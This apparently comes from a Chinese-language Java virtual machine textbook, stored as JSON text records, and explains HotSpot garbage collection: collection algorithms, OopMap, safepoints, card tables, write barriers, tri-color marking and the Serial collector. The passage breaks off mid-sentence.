    {"text": "注意 刚才我们已经提到了“Minor GC”，后续文中还会出现其他针对不同分代的类似名词，为避免读者产生混淆，在这里统一定义： ·部分收集（Partial GC）：指目标不是完整收集整个Java堆的垃圾收集，其中又分为： ■新生代收集（Minor GC/Young GC）：指目标只是新生代的垃圾收集。 ■老年代收集（Major GC/Old GC）：指目标只是老年代的垃圾收集。"},
    {"text": "另外请注意“Major GC”这个说法现在有点混淆，在不同资料上常有不同所指，读者需按上下文区分到底是指老年代的收集还是整堆收集。 ■混合收集（Mixed GC）：指目标是收集整个新生代以及部分老年代的垃圾收集。"},
    {"text": "[1] 值得注意的是，分代收集理论也有其缺陷，最新出现（或在实验中）的几款垃圾收集器都展现出了面向全区域收集设计的思想，或者可以支持全区域不分代的收集的工作模式。"},
    {"text": "[3] 通常能单独发生收集行为的只是新生代，所以这里“反过来”的情况只是理论上允许，实际上除了CMS收集器，其他都不存在只针对老年代的收集。"},
    {"text": "3.3.2 标记-清除算法 最早出现也是最基础的垃圾收集算法是“标记-清除”（Mark-Sweep）算法，在1960年由Lisp之父John McCarthy所提出。如它的名字一样，算法分为“标记”和“清除”两个阶段：首先标记出所有需要回收的对象，在标记完成后，统一回收掉所有被标记的对象，也可以反过来，标记存活的对象，统一回收所有未被标记的对象。标记过程就是对象是否属于垃圾的判定过程，这在前一节讲述垃圾对象标记判定算法时其实已经介绍过了。 之所以说它是最基础的收集算法，是因为后续的收集算法大多都是以标记-清除算法为基础，对其缺点进行改进而得到的。它的主要缺点有两个：第一个是执行效率不稳定，如果Java堆中包含大量对象，而且其中大部分是需要被回收的，这时必须进行大量标记和清除的动作，导致标记和清除两个过程的执行效率都随对象数量增长而降低；第二个是内存空间的碎片化问题，标记、清除之后会产生大量不连续的内存碎片，空间碎片太多可能会导致当以后在程序运行过程中需要分配较大对象时无法找到足够的连续内存而不得不提前触发另一次垃圾收集动作。标记-清除算法的执行过程如图3-2所示。 图3-2 “标记-清除”算法示意图 3.3.3 标记-复制算法 标记-复制算法常被简称为复制算法。为了解决标记-清除算法面对大量可回收对象时执行效率低的问题，1969年Fenichel提出了一种称为“半区复制”（Semispace Copying）的垃圾收集算法，它将可用内存按容量划分为大小相等的两块，每次只使用其中的一块。当这一块的内存用完了，就将还存活着的对象复制到另外一块上面，然后再把已使用过的内存空间一次清理掉。如果内存中多数对象都是存活的，这种算法将会产生大量的内存间复制的开销，但对于多数对象都是可回收的情况，算法需要复制的就是占少数的存活对象，而且每次都是针对整个半区进行内存回收，分配内存时也就不用考虑有空间碎片的复杂情况，只要移动堆顶指针，按顺序分配即可。这样实现简单，运行高效，不过其缺陷也显而易见，这种复制回收算法的代价是将可用内存缩小为了原来的一半，空间浪费未免太多了一点。标记-复制算法的执行过程如图3-3所示。 图3-3 标记-复制算法示意图 现在的商用Java虚拟机大多都优先采用了这种收集算法去回收新生代，IBM公司曾有一项专门研究对新生代“朝生夕灭”的特点做了更量化的诠释——新生代中的对象有98%熬不过第一轮收集。因此并不需要按照1∶1的比例来划分新生代的内存空间。 在1989年，Andrew Appel针对具备“朝生夕灭”特点的对象，提出了一种更优化的半区复制分代策略，现在称为“Appel式回收”。HotSpot虚拟机的Serial、ParNew等新生代收集器均采用了这种策略来设计新生代的内存布局 [1] 。Appel式回收的具体做法是把新生代分为一块较大的Eden空间和两块较小的Survivor空间，每次分配内存只使用Eden和其中一块Survivor。发生垃圾搜集时，将Eden和Survivor中仍然存活的对象一次性复制到另外一块Survivor空间上，然后直接清理掉Eden和已用过的那块Survivor空间。HotSpot虚拟机默认Eden和Survivor的大小比例是8∶1，也即每次新生代中可用内存空间为整个新生代容量的90%（Eden的80%加上一个Survivor的10%），只有一个Survivor空间，即10%的新生代是会被“浪费”的。当然，98%的对象可被回收仅仅是“普通场景”下测得的数据，任何人都没有办法百分百保证每次回收都只有不多于10%的对象存活，因此Appel式回收还有一个充当罕见情况的“逃生门”的安全设计，当Survivor空间不足以容纳一次Minor GC之后存活的对象时，就需要依赖其他内存区域（实际上大多就是老年代）进行分配担保（Handle Promotion）。 内存的分配担保好比我们去银行借款，如果我们信誉很好，在98%的情况下都能按时偿还，于是银行可能会默认我们下一次也能按时按量地偿还贷款，只需要有一个担保人能保证如果我不能还款时，可以从他的账户扣钱，那银行就认为没有什么风险了。内存的分配担保也一样，如果另外一块Survivor空间没有足够空间存放上一次新生代收集下来的存活对象，这些对象便将通过分配担保机制直接进入老年代，这对虚拟机来说就是安全的。关于对新生代进行分配担保的内容，在稍后的3.8.5节介绍垃圾收集器执行规则时还会再进行讲解。 [1] 这里需要说明一下，HotSpot中的这种分代方式从最初就是这种布局，和IBM的研究并没有什么实际关系。这里笔者列举IBM的研究只是为了说明这种分代布局的意义所在。"},
    {"text": "3.3.4 标记-整理算法 标记-复制算法在对象存活率较高时就要进行较多的复制操作，效率将会降低。更关键的是，如果不想浪费50%的空间，就需要有额外的空间进行分配担保，以应对被使用的内存中所有对象都100%存活的极端情况，所以在老年代一般不能直接选用这种算法。 针对老年代对象的存亡特征，1974年Edward Lueders提出了另外一种有针对性的“标记-整理”（Mark-Compact）算法，其中的标记过程仍然与“标记-清除”算法一样，但后续步骤不是直接对可回收对象进行清理，而是让所有存活的对象都向内存空间一端移动，然后直接清理掉边界以外的内存，“标记-整理”算法的示意图如图3-4所示。 标记-清除算法与标记-整理算法的本质差异在于前者是一种非移动式的回收算法，而后者是移动式的。是否移动回收后的存活对象是一项优缺点并存的风险决策： 图3-4 “标记-整理”算法示意图 如果移动存活对象，尤其是在老年代这种每次回收都有大量对象存活区域，移动存活对象并更新所有引用这些对象的地方将会是一种极为负重的操作，而且这种对象移动操作必须全程暂停用户应用程序才能进行 [1] ，这就更加让使用者不得不小心翼翼地权衡其弊端了，像这样的停顿被最初的虚拟机设计者形象地描述为“Stop The World” [2] 。 但如果跟标记-清除算法那样完全不考虑移动和整理存活对象的话，弥散于堆中的存活对象导致的空间碎片化问题就只能依赖更为复杂的内存分配器和内存访问器来解决。譬如通过“分区空闲分配链表”来解决内存分配问题（计算机硬盘存储大文件就不要求物理连续的磁盘空间，能够在碎片化的硬盘上存储和访问就是通过硬盘分区表实现的）。内存的访问是用户程序最频繁的操作，甚至都没有之一，假如在这个环节上增加了额外的负担，势必会直接影响应用程序的吞吐量。 基于以上两点，是否移动对象都存在弊端，移动则内存回收时会更复杂，不移动则内存分配时会更复杂。从垃圾收集的停顿时间来看，不移动对象停顿时间会更短，甚至可以不需要停顿，但是从整个程序的吞吐量来看，移动对象会更划算。此语境中，吞吐量的实质是赋值器（Mutator，可以理解为使用垃圾收集的用户程序，本书为便于理解，多数地方用“用户程序”或“用户线程”代替）与收集器的效率总和。即使不移动对象会使得收集器的效率提升一些，但因内存分配和访问相比垃圾收集频率要高得多，这部分的耗时增加，总吞吐量仍然是下降的。HotSpot虚拟机里面关注吞吐量的Parallel Scavenge收集器是基于标记-整理算法的，而关注延迟的CMS收集器则是基于标记-清除算法的，这也从侧面印证这点。 另外，还有一种“和稀泥式”解决方案可以不在内存分配和访问上增加太大额外负担，做法是让虚拟机平时多数时间都采用标记-清除算法，暂时容忍内存碎片的存在，直到内存空间的碎片化程度已经大到影响对象分配时，再采用标记-整理算法收集一次，以获得规整的内存空间。前面提到的基于标记-清除算法的CMS收集器面临空间碎片过多时采用的就是这种处理办法。 [1] 最新的ZGC和Shenandoah收集器使用读屏障（Read Barrier）技术实现了整理过程与用户线程的并发执行，稍后将会介绍这种收集器的工作原理。 [2] 通常标记-清除算法也是需要停顿用户线程来标记、清理可回收对象的，只是停顿时间相对而言要来的短而已。 3.4 HotSpot的算法细节实现 3.2、3.3节从理论原理上介绍了常见的对象存活判定算法和垃圾收集算法，Java虚拟机实现这些算法时，必须对算法的执行效率有严格的考量，才能保证虚拟机高效运行。本章设置这部分内容主要是为了稍后介绍各款垃圾收集器时做前置知识铺垫，如果读者对这部分内容感到枯燥或者疑惑，不妨先跳过去，等后续遇到要使用它们的实际场景、实际问题时再结合问题，重新翻阅和理解。"},
    {"text": "3.4.1 根节点枚举 我们以可达性分析算法中从GC Roots集合找引用链这个操作作为介绍虚拟机高效实现的第一个例子。固定可作为GC Roots的节点主要在全局性的引用（例如常量或类静态属性）与执行上下文（例如栈帧中的本地变量表）中，尽管目标明确，但查找过程要做到高效并非一件容易的事情，现在Java应用越做越庞大，光是方法区的大小就常有数百上千兆，里面的类、常量等更是恒河沙数，若要逐个检查以这里为起源的引用肯定得消耗不少时间。 迄今为止，所有收集器在根节点枚举这一步骤时都是必须暂停用户线程的，因此毫无疑问根节点枚举与之前提及的整理内存碎片一样会面临相似的“Stop The World”的困扰。现在可达性分析算法耗时最长的查找引用链的过程已经可以做到与用户线程一起并发（具体见3.4.6节），但根节点枚举始终还是必须在一个能保障一致性的快照中才得以进行——这里“一致性”的意思是整个枚举期间执行子系统看起来就像被冻结在某个时间点上，不会出现分析过程中，根节点集合的对象引用关系还在不断变化的情况，若这点不能满足的话，分析结果准确性也就无法保证。这是导致垃圾收集过程必须停顿所有用户线程的其中一个重要原因，即使是号称停顿时间可控，或者（几乎）不会发生停顿的CMS、G1、ZGC等收集器，枚举根节点时也是必须要停顿的。 由于目前主流Java虚拟机使用的都是准确式垃圾收集（这个概念在第1章介绍Exact VM相对于Classic VM的改进时介绍过），所以当用户线程停顿下来之后，其实并不需要一个不漏地检查完所有执行上下文和全局的引用位置，虚拟机应当是有办法直接得到哪些地方存放着对象引用的。在HotSpot的解决方案里，是使用一组称为OopMap的数据结构来达到这个目的。一旦类加载动作完成的时候，HotSpot就会把对象内什么偏移量上是什么类型的数据计算出来，在即时编译（见第11章）过程中，也会在特定的位置记录下栈里和寄存器里哪些位置是引用。这样收集器在扫描时就可以直接得知这些信息了，并不需要真正一个不漏地从方法区等GC Roots开始查找。 下面代码清单3-3是HotSpot虚拟机客户端模式下生成的一段String::hashCode()方法的本地代码，可以看到在0x026eb7a9处的call指令有OopMap记录，它指明了EBX寄存器和栈中偏移量为16的内存区域中各有一个普通对象指针（Ordinary Object Pointer，OOP）的引用，有效范围为从call指令开始直到0x026eb730（指令流的起始位置）+142（OopMap记录的偏移量）=0x026eb7be，即hlt指令为止。 代码清单3-3 String.hashCode()方法编译后的本地代码 [Verified Entry Point] 0x026eb730: mov %eax,-0x8000(%esp) ………… ;; ImplicitNullCheckStub slow case 0x026eb7a9: call 0x026e83e0 ; OopMap{ebx=Oop [16]=Oop off=142} ; *caload ; - java.lang.String::hashCode@48 (line 1489) ; {runtime_call} 0x026eb7ae: push $0x83c5c18 ; {external_word} 0x026eb7b3: call 0x026eb7b8 0x026eb7b8: pusha 0x026eb7b9: call 0x0822bec0 ; {runtime_call} 0x026eb7be: hlt"},
    {"text": "3.4.2 安全点 在OopMap的协助下，HotSpot可以快速准确地完成GC Roots枚举，但一个很现实的问题随之而来：可能导致引用关系变化，或者说导致OopMap内容变化的指令非常多，如果为每一条指令都生成对应的OopMap，那将会需要大量的额外存储空间，这样垃圾收集伴随而来的空间成本就会变得无法忍受的高昂。 实际上HotSpot也的确没有为每条指令都生成OopMap，前面已经提到，只是在“特定的位置”记录了这些信息，这些位置被称为安全点（Safepoint）。有了安全点的设定，也就决定了用户程序执行时并非在代码指令流的任意位置都能够停顿下来开始垃圾收集，而是强制要求必须执行到达安全点后才能够暂停。因此，安全点的选定既不能太少以至于让收集器等待时间过长，也不能太过频繁以至于过分增大运行时的内存负荷。安全点位置的选取基本上是以“是否具有让程序长时间执行的特征”为标准进行选定的，因为每条指令执行的时间都非常短暂，程序不太可能因为指令流长度太长这样的原因而长时间执行，“长时间执行”的最明显特征就是指令序列的复用，例如方法调用、循环跳转、异常跳转等都属于指令序列复用，所以只有具有这些功能的指令才会产生安全点。 对于安全点，另外一个需要考虑的问题是，如何在垃圾收集发生时让所有线程（这里其实不包括执行JNI调用的线程）都跑到最近的安全点，然后停顿下来。这里有两种方案可供选择：抢先式中断（Preemptive Suspension）和主动式中断（Voluntary Suspension），抢先式中断不需要线程的执行代码主动去配合，在垃圾收集发生时，系统首先把所有用户线程全部中断，如果发现有用户线程中断的地方不在安全点上，就恢复这条线程执行，让它一会再重新中断，直到跑到安全点上。现在几乎没有虚拟机实现采用抢先式中断来暂停线程响应GC事件。 而主动式中断的思想是当垃圾收集需要中断线程的时候，不直接对线程操作，仅仅简单地设置一个标志位，各个线程执行过程时会不停地主动去轮询这个标志，一旦发现中断标志为真时就自己在最近的安全点上主动中断挂起。轮询标志的地方和安全点是重合的，另外还要加上所有创建对象和其他需要在Java堆上分配内存的地方，这是为了检查是否即将要发生垃圾收集，避免没有足够内存分配新对象。 由于轮询操作在代码中会频繁出现，这要求它必须足够高效。HotSpot使用内存保护陷阱的方式，把轮询操作精简至只有一条汇编指令的程度。下面代码清单3-4中的test指令就是HotSpot生成的轮询指令，当需要暂停用户线程时，虚拟机把0x160100的内存页设置为不可读，那线程执行到test指令时就会产生一个自陷异常信号，然后在预先注册的异常处理器中挂起线程实现等待，这样仅通过一条汇编指令便完成安全点轮询和触发线程中断了。 代码清单3-4 轮询指令 0x01b6d627: call 0x01b2b210 ; OopMap{[60]=Oop off=460} ; *invokeinterface size ; - Client1::main@113 (line 23) ; {virtual_call} 0x01b6d62c: nop ; OopMap{[60]=Oop off=461} ; *if_icmplt ; - Client1::main@118 (line 23) 0x01b6d62d: test %eax,0x160100 ; {poll} 0x01b6d633: mov 0x50(%esp),%esi 0x01b6d637: cmp %eax,%esi 3.4.3 安全区域 使用安全点的设计似乎已经完美解决如何停顿用户线程，让虚拟机进入垃圾回收状态的问题了，但实际情况却并不一定。安全点机制保证了程序执行时，在不太长的时间内就会遇到可进入垃圾收集过程的安全点。但是，程序“不执行”的时候呢？所谓的程序不执行就是没有分配处理器时间，典型的场景便是用户线程处于Sleep状态或者Blocked状态，这时候线程无法响应虚拟机的中断请求，不能再走到安全的地方去中断挂起自己，虚拟机也显然不可能持续等待线程重新被激活分配处理器时间。对于这种情况，就必须引入安全区域（Safe Region）来解决。 安全区域是指能够确保在某一段代码片段之中，引用关系不会发生变化，因此，在这个区域中任意地方开始垃圾收集都是安全的。我们也可以把安全区域看作被扩展拉伸了的安全点。 当用户线程执行到安全区域里面的代码时，首先会标识自己已经进入了安全区域，那样当这段时间里虚拟机要发起垃圾收集时就不必去管这些已声明自己在安全区域内的线程了。当线程要离开安全区域时，它要检查虚拟机是否已经完成了根节点枚举（或者垃圾收集过程中其他需要暂停用户线程的阶段），如果完成了，那线程就当作没事发生过，继续执行；否则它就必须一直等待，直到收到可以离开安全区域的信号为止。"},
    {"text": "3.4.4 记忆集与卡表 讲解分代收集理论的时候，提到了为解决对象跨代引用所带来的问题，垃圾收集器在新生代中建立了名为记忆集（Remembered Set）的数据结构，用以避免把整个老年代加进GC Roots扫描范围。事实上并不只是新生代、老年代之间才有跨代引用的问题，所有涉及部分区域收集（Partial GC）行为的垃圾收集器，典型的如G1、ZGC和Shenandoah收集器，都会面临相同的问题，因此我们有必要进一步理清记忆集的原理和实现方式，以便在后续章节里介绍几款最新的收集器相关知识时能更好地理解。 记忆集是一种用于记录从非收集区域指向收集区域的指针集合的抽象数据结构。如果我们不考虑效率和成本的话，最简单的实现可以用非收集区域中所有含跨代引用的对象数组来实现这个数据结构，如代码清单3-5所示： 代码清单3-5 以对象指针来实现记忆集的伪代码 Class RememberedSet { Object[] set[OBJECT_INTERGENERATIONAL_REFERENCE_SIZE]; } 这种记录全部含跨代引用对象的实现方案，无论是空间占用还是维护成本都相当高昂。而在垃圾收集的场景中，收集器只需要通过记忆集判断出某一块非收集区域是否存在有指向了收集区域的指针就可以了，并不需要了解这些跨代指针的全部细节。那设计者在实现记忆集的时候，便可以选择更为粗犷的记录粒度来节省记忆集的存储和维护成本，下面列举了一些可供选择（当然也可以选择这个范围以外的）的记录精度： · 字长精度： 每个记录精确到一个机器字长（就是处理器的寻址位数，如常见的32位或64位，这个精度决定了机器访问物理内存地址的指针长度），该字包含跨代指针。 · 对象精度： 每个记录精确到一个对象，该对象里有字段含有跨代指针。 · 卡精度： 每个记录精确到一块内存区域，该区域内有对象含有跨代指针。 其中，第三种“卡精度”所指的是用一种称为“卡表”（Card Table）的方式去实现记忆集 [1] ，这也是目前最常用的一种记忆集实现形式，一些资料中甚至直接把它和记忆集混为一谈。前面定义中提到记忆集其实是一种“抽象”的数据结构，抽象的意思是只定义了记忆集的行为意图，并没有定义其行为的具体实现。卡表就是记忆集的一种具体实现，它定义了记忆集的记录精度、与堆内存的映射关系等。关于卡表与记忆集的关系，读者不妨按照Java语言中HashMap与Map的关系来类比理解。 卡表最简单的形式可以只是一个字节数组 [2] ，而HotSpot虚拟机确实也是这样做的。以下这行代码是HotSpot默认的卡表标记逻辑 [3] ： CARD_TABLE [this address >> 9] = 0; 字节数组CARD_TABLE的每一个元素都对应着其标识的内存区域中一块特定大小的内存块，这个内存块被称作“卡页”（Card Page）。一般来说，卡页大小都是以2的N次幂的字节数，通过上面代码可以看出HotSpot中使用的卡页是2的9次幂，即512字节（地址右移9位，相当于用地址除以512）。那如果卡表标识内存区域的起始地址是0x0000的话，数组CARD_TABLE的第0、1、2号元素，分别对应了地址范围为0x0000～0x01FF、0x0200～0x03FF、0x0400～0x05FF的卡页内存块 [4] ，如图3-5所示。 图3-5 卡表与卡页对应示意图 一个卡页的内存中通常包含不止一个对象，只要卡页内有一个（或更多）对象的字段存在着跨代指针，那就将对应卡表的数组元素的值标识为1，称为这个元素变脏（Dirty），没有则标识为0。在垃圾收集发生时，只要筛选出卡表中变脏的元素，就能轻易得出哪些卡页内存块中包含跨代指针，把它们加入GC Roots中一并扫描。 [1] 由Antony Hosking在1993年发表的论文《Remembered sets can also play cards》中提出。 [2] 之所以使用byte数组而不是bit数组主要是速度上的考量，现代计算机硬件都是最小按字节寻址的，没有直接存储一个bit的指令，所以要用bit的话就不得不多消耗几条shift+mask指令。具体可见HotSpot应用写屏障实现记忆集的原始论文《A Fast Write Barrier for Generational Garbage Collectors》（http://www.hoelzle.org/publications/write-barrier.pdf）。 [3] 引用来源为http://psy-lob-saw.blogspot.com/2014/10/the-jvm-write-barrier-card-marking.html。 [4] 十六进制数200、400分别为十进制的512、1024，这3个内存块为从0开始、512字节容量的相邻区域。"},
    {"text": "3.4.5 写屏障 我们已经解决了如何使用记忆集来缩减GC Roots扫描范围的问题，但还没有解决卡表元素如何维护的问题，例如它们何时变脏、谁来把它们变脏等。 卡表元素何时变脏的答案是很明确的——有其他分代区域中对象引用了本区域对象时，其对应的卡表元素就应该变脏，变脏时间点原则上应该发生在引用类型字段赋值的那一刻。但问题是如何变脏，即如何在对象赋值的那一刻去更新维护卡表呢？假如是解释执行的字节码，那相对好处理，虚拟机负责每条字节码指令的执行，有充分的介入空间；但在编译执行的场景中呢？经过即时编译后的代码已经是纯粹的机器指令流了，这就必须找到一个在机器码层面的手段，把维护卡表的动作放到每一个赋值操作之中。 在HotSpot虚拟机里是通过写屏障（Write Barrier）技术维护卡表状态的。先请读者注意将这里提到的“写屏障”，以及后面在低延迟收集器中会提到的“读屏障”与解决并发乱序执行问题中的“内存屏障” [1] 区分开来，避免混淆。写屏障可以看作在虚拟机层面对“引用类型字段赋值”这个动作的AOP切面 [2] ，在引用对象赋值时会产生一个环形（Around）通知，供程序执行额外的动作，也就是说赋值的前后都在写屏障的覆盖范畴内。在赋值前的部分的写屏障叫作写前屏障（Pre-Write Barrier），在赋值后的则叫作写后屏障（Post-Write Barrier）。HotSpot虚拟机的许多收集器中都有使用到写屏障，但直至G1收集器出现之前，其他收集器都只用到了写后屏障。下面这段代码清单3-6是一段更新卡表状态的简化逻辑： 代码清单3-6 写后屏障更新卡表 void oop_field_store(oop* field, oop new_value) { // 引用字段赋值操作 *field = new_value; // 写后屏障，在这里完成卡表状态更新 post_write_barrier(field, new_value); } 应用写屏障后，虚拟机就会为所有赋值操作生成相应的指令，一旦收集器在写屏障中增加了更新卡表操作，无论更新的是不是老年代对新生代对象的引用，每次只要对引用进行更新，就会产生额外的开销，不过这个开销与Minor GC时扫描整个老年代的代价相比还是低得多的。 除了写屏障的开销外，卡表在高并发场景下还面临着“伪共享”（False Sharing）问题。伪共享是处理并发底层细节时一种经常需要考虑的问题，现代中央处理器的缓存系统中是以缓存行（Cache Line）为单位存储的，当多线程修改互相独立的变量时，如果这些变量恰好共享同一个缓存行，就会彼此影响（写回、无效化或者同步）而导致性能降低，这就是伪共享问题。 假设处理器的缓存行大小为64字节，由于一个卡表元素占1个字节，64个卡表元素将共享同一个缓存行。这64个卡表元素对应的卡页总的内存为32KB（64×512字节），也就是说如果不同线程更新的对象正好处于这32KB的内存区域内，就会导致更新卡表时正好写入同一个缓存行而影响性能。为了避免伪共享问题，一种简单的解决方案是不采用无条件的写屏障，而是先检查卡表标记，只有当该卡表元素未被标记过时才将其标记为变脏，即将卡表更新的逻辑变为以下代码所示： if (CARD_TABLE [this address >> 9] != 0) CARD_TABLE [this address >> 9] = 0; 在JDK 7之后，HotSpot虚拟机增加了一个新的参数-XX：+UseCondCardMark，用来决定是否开启卡表更新的条件判断。开启会增加一次额外判断的开销，但能够避免伪共享问题，两者各有性能损耗，是否打开要根据应用实际运行情况来进行测试权衡。 [1] 这个语境上的内存屏障（Memory Barrier）的目的是为了指令不因编译优化、CPU执行优化等原因而导致乱序执行，它也是可以细分为仅确保读操作顺序正确性和仅确保写操作顺序正确性的内存屏障的。关于并发问题中内存屏障的介绍，可以参考本书第12章中关于volatile型变量的讲解。 [2] AOP为Aspect Oriented Programming的缩写，意为面向切面编程，通过预编译方式和运行期动态代理实现程序功能的统一维护的一种技术。后面提到的“环形通知”也是AOP中的概念，使用过Spring的读者应该都了解这些基础概念。"},
    {"text": "3.4.6 并发的可达性分析 在3.2节中曾经提到了当前主流编程语言的垃圾收集器基本上都是依靠可达性分析算法来判定对象是否存活的，可达性分析算法理论上要求全过程都基于一个能保障一致性的快照中才能够进行分析，这意味着必须全程冻结用户线程的运行。在根节点枚举（见3.4.1节）这个步骤中，由于GC Roots相比起整个Java堆中全部的对象毕竟还算是极少数，且在各种优化技巧（如OopMap）的加持下，它带来的停顿已经是非常短暂且相对固定（不随堆容量而增长）的了。可从GC Roots再继续往下遍历对象图，这一步骤的停顿时间就必定会与Java堆容量直接成正比例关系了：堆越大，存储的对象越多，对象图结构越复杂，要标记更多对象而产生的停顿时间自然就更长，这听起来是理所当然的事情。 要知道包含“标记”阶段是所有追踪式垃圾收集算法的共同特征，如果这个阶段会随着堆变大而等比例增加停顿时间，其影响就会波及几乎所有的垃圾收集器，同理可知，如果能够削减这部分停顿时间的话，那收益也将会是系统性的。 想解决或者降低用户线程的停顿，就要先搞清楚为什么必须在一个能保障一致性的快照上才能进行对象图的遍历？为了能解释清楚这个问题，我们引入三色标记（Tri-color Marking） [1] 作为工具来辅助推导，把遍历对象图过程中遇到的对象，按照“是否访问过”这个条件标记成以下三种颜色： · 白色： 表示对象尚未被垃圾收集器访问过。显然在可达性分析刚刚开始的阶段，所有的对象都是白色的，若在分析结束的阶段，仍然是白色的对象，即代表不可达。 · 黑色： 表示对象已经被垃圾收集器访问过，且这个对象的所有引用都已经扫描过。黑色的对象代表已经扫描过，它是安全存活的，如果有其他对象引用指向了黑色对象，无须重新扫描一遍。黑色对象不可能直接（不经过灰色对象）指向某个白色对象。 · 灰色： 表示对象已经被垃圾收集器访问过，但这个对象上至少存在一个引用还没有被扫描过。 关于可达性分析的扫描过程，读者不妨发挥一下想象力，把它看作对象图上一股以灰色为波峰的波纹从黑向白推进的过程，如果用户线程此时是冻结的，只有收集器线程在工作，那不会有任何问题。但如果用户线程与收集器是并发工作呢？收集器在对象图上标记颜色，同时用户线程在修改引用关系——即修改对象图的结构，这样可能出现两种后果。一种是把原本消亡的对象错误标记为存活，这不是好事，但其实是可以容忍的，只不过产生了一点逃过本次收集的浮动垃圾而已，下次收集清理掉就好。另一种是把原本存活的对象错误标记为已消亡，这就是非常致命的后果了，程序肯定会因此发生错误，下面表3-1演示了这样的致命错误具体是如何产生的。 表3-1 并发出现“对象消失”问题的示意 [2] Wilson于1994年在理论上证明了，当且仅当以下两个条件同时满足时，会产生“对象消失”的问题，即原本应该是黑色的对象被误标为白色： ·赋值器插入了一条或多条从黑色对象到白色对象的新引用； ·赋值器删除了全部从灰色对象到该白色对象的直接或间接引用。 因此，我们要解决并发扫描时的对象消失问题，只需破坏这两个条件的任意一个即可。由此分别产生了两种解决方案：增量更新（Incremental Update）和原始快照（Snapshot At The Beginning，SATB）。 增量更新要破坏的是第一个条件，当黑色对象插入新的指向白色对象的引用关系时，就将这个新插入的引用记录下来，等并发扫描结束之后，再将这些记录过的引用关系中的黑色对象为根，重新扫描一次。这可以简化理解为，黑色对象一旦新插入了指向白色对象的引用之后，它就变回灰色对象了。 原始快照要破坏的是第二个条件，当灰色对象要删除指向白色对象的引用关系时，就将这个要删除的引用记录下来，在并发扫描结束之后，再将这些记录过的引用关系中的灰色对象为根，重新扫描一次。这也可以简化理解为，无论引用关系删除与否，都会按照刚刚开始扫描那一刻的对象图快照来进行搜索。 以上无论是对引用关系记录的插入还是删除，虚拟机的记录操作都是通过写屏障实现的。在HotSpot虚拟机中，增量更新和原始快照这两种解决方案都有实际应用，譬如，CMS是基于增量更新来做并发标记的，G1、Shenandoah则是用原始快照来实现。 到这里，笔者简要介绍了HotSpot虚拟机如何发起内存回收、如何加速内存回收，以及如何保证回收正确性等问题，但是虚拟机如何具体地进行内存回收动作仍然未涉及。因为内存回收如何进行是由虚拟机所采用哪一款垃圾收集器所决定的，而通常虚拟机中往往有多种垃圾收集器，下面笔者将逐一介绍HotSpot虚拟机中出现过的垃圾收集器。 [1] 三色标记的介绍可参见https://en.wikipedia.org/wiki/Tracing_garbage_collection#Tri-color_marking。 [2] 此例子中的图片引用了Aleksey Shipilev在DEVOXX 2017上的主题演讲：《Shenandoah GC Part I：The Garbage Collector That Could》。"},
    {"text": "3.5 经典垃圾收集器 如果说收集算法是内存回收的方法论，那垃圾收集器就是内存回收的实践者。《Java虚拟机规范》中对垃圾收集器应该如何实现并没有做出任何规定，因此不同的厂商、不同版本的虚拟机所包含的垃圾收集器都可能会有很大差别，不同的虚拟机一般也都会提供各种参数供用户根据自己的应用特点和要求组合出各个内存分代所使用的收集器。 本节标题中“经典”二字并非情怀，它其实是讨论范围的限定语，这里讨论的是在JDK 7 Update 4之后（在这个版本中正式提供了商用的G1收集器，此前G1仍处于实验状态）、JDK 11正式发布之前，OracleJDK中的HotSpot虚拟机 [1] 所包含的全部可用的垃圾收集器。使用“经典”二字是为了与几款目前仍处于实验状态，但执行效果上有革命性改进的高性能低延迟收集器区分开来，这些经典的收集器尽管已经算不上是最先进的技术，但它们曾在实践中千锤百炼，足够成熟，基本上可认为是现在到未来两、三年内，能够在商用生产环境上放心使用的全部垃圾收集器了。各款经典收集器之间的关系如图3-6所示。 图3-6 HotSpot虚拟机的垃圾收集器 [2] 图3-6展示了七种作用于不同分代的收集器，如果两个收集器之间存在连线，就说明它们可以搭配使用 [3] ，图中收集器所处的区域，则表示它是属于新生代收集器抑或是老年代收集器。接下来笔者将逐一介绍这些收集器的目标、特性、原理和使用场景，并重点分析CMS和G1这两款相对复杂而又广泛使用的收集器，深入了解它们的部分运作细节。 在介绍这些收集器各自的特性之前，让我们先来明确一个观点：虽然我们会对各个收集器进行比较，但并非为了挑选一个最好的收集器出来，虽然垃圾收集器的技术在不断进步，但直到现在还没有最好的收集器出现，更加不存在“万能”的收集器，所以我们选择的只是对具体应用最合适的收集器。这点不需要多加论述就能证明：如果有一种放之四海皆准、任何场景下都适用的完美收集器存在，HotSpot虚拟机完全没必要实现那么多种不同的收集器了。 [1] 这里专门强调了OracleJDK是因为要把OpenJDK，尤其是OpenJDK-Shenandoah-JDK8这种Backports项目排除在外，在本书故事的时间线里，Shenandoah要到OpenJDK 12才会登场，请读者耐心等待。 [2] 图片来源：https://blogs.oracle.com/jonthecollector/our_collectors。 [3] 这个关系不是一成不变的，由于维护和兼容性测试的成本，在JDK 8时将Serial+CMS、ParNew+Serial Old这两个组合声明为废弃（JEP 173），并在JDK 9中完全取消了这些组合的支持（JEP 214）。"},
    {"text": "3.5.1 Serial收集器 Serial收集器是最基础、历史最悠久的收集器，曾经（在JDK 1.3.1之前）是HotSpot虚拟机新生代收集器的唯一选择。大家只看名字就能够猜到，这个收集器是一个单线程工作的收集器，但它的“单线程”的意义并不仅仅是说明它只会使用一个处理器或一条收集线程去完成垃圾收集工作，更重要的是强调在它进行垃圾收集时，必须暂停其他所有工作线程，直到它收集结束。“Stop The World”这个词语也许听起来很酷，但这项工作是由虚拟机在后台自动发起和自动完成的，在用户不可知、不可控的情况下把用户的正常工作的线程全部停掉，这对很多应用来说都是不能接受的。读者不妨试想一下，要是你的电脑每运行一个小时就会暂停响应五分钟，你会有什么样的心情？图3-7示意了Serial/Serial Old收集器的运行过程。 图3-7 Serial/Serial Old收集器运行示意图 对于“Stop The World”带给用户的恶劣体验，早期HotSpot虚拟机的设计者们表示完全理解，但也同时表示非常委屈：“你妈妈在给你打扫房间的时候，肯定也会让你老老实实地在椅子上或者房间外待着，如果她一边打扫，你一边乱扔纸屑，这房间还能打扫完？”这确实是一个合情合理的矛盾，虽然垃圾收集这项工作听起来和打扫房间属于一个工种，但实际上肯定还要比打扫房间复杂得多！ 从JDK 1.3开始，一直到现在最新的JDK 13，HotSpot虚拟机开发团队为消除或者降低用户线程因垃圾收集而导致停顿的努力一直持续进行着，从Serial收集器到Parallel收集器，再到Concurrent Mark Sweep（CMS）和Garbage 